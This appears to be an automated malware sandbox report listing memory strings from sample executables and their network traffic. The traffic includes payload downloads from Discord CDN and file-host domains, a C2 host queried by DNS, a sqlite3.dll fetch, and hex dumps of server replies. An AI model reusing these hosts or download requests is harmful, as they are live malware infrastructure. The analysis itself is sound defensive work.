Source: 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978818128.00000000036FD000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_real
Source: 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_shockwave
Source: 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978818128.00000000036FD000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_wmp
Source: 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/answer/6258784
Source: 12F1.exe, 00000009.00000002.980544860.000000000381F000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978366259.00000000035BF000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978236166.00000000035A9000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979046859.000000000375D000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.990127362.000000000471C000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.986155603.0000000003835000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.987830142.0000000004323000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.987221827.00000000042B2000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977009198.00000000034E7000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978818128.00000000036FD000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.988391512.00000000043D5000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.976120725.0000000003425000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.990329619.000000000478D000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.972315396.0000000002B1D000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961521514.0000000002A5B000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.975235454.0000000003942000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.974497889.0000000002D14000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.975544789.00000000039B3000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.974600365.0000000002D2A000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.972514653.0000000002B33000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp, 305.exe, 00000016.00000003.849942503.0000000000BB3000.00000004.00000001.sdmp, default_webdata.db.22.dr, default_webdata.db0.22.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 12F1.exe, 00000009.00000000.772392521.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000002.949620420.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000003.774260268.0000000002921000.00000004.00000001.sdmp, 12F1.exe.6.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=UA-133188560-4

Source: unknown

DNS traffic detected: queries for: host-data-coin-11.com

Source: global traffic	HTTP traffic detected: GET /attachments/914960103592054858/914961866462232616/Oldening.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /attachments/914960103592054858/914986994759794738/Underdosed.exe HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/8723_1638191106_2017.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-file-host-3.com
Source: global traffic	HTTP traffic detected: GET /files/6096_1638289274_6885.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-file-host-3.com
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-file-host-3.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytoolzforyou-7000.com
Source: global traffic	HTTP traffic detected: GET /files/4152_1638095425_4339.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-file-host-3.com
Source: global traffic	HTTP traffic detected: GET /tratata.php HTTP/1.1Host: file-file-host4.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /sqlite3.dll HTTP/1.1Host: file-file-host4.comCache-Control: no-cacheCookie: PHPSESSID=t42nernt19g8nsbjut69kb7u9v
Source: global traffic	HTTP traffic detected: GET /files/5311_1638303032_7343.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-file-host-3.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:13:55 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 14 00 00 00 7b fa f7 1b b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:13:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:13:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08 93 31 f9 55 50 99 4a f7 e0 25 e5 39 1a 46 eb ab 8f 70 bc 57 da 4a d7 f7 26 84 22 e9 c3 90 50 2a e1 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OU&1UPJ%9FpWJ&"P*c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 36 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 50 dd 4b d0 fe 26 85 21 ea a5 90 50 2e e2 be 4d 23 e3 b3 b4 6c fb 9f bc 50 ab 73 93 cb 32 40 5c 3c 0d 4b dd bb 4a be ff 57 99 bd d4 0b 8d 2b 80 cf 0d 0a 30 0d 0a 0d 0a Data Ascii: 65I:82OB%,YR("XPK&!P.M#lPs2@\<KJW+0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
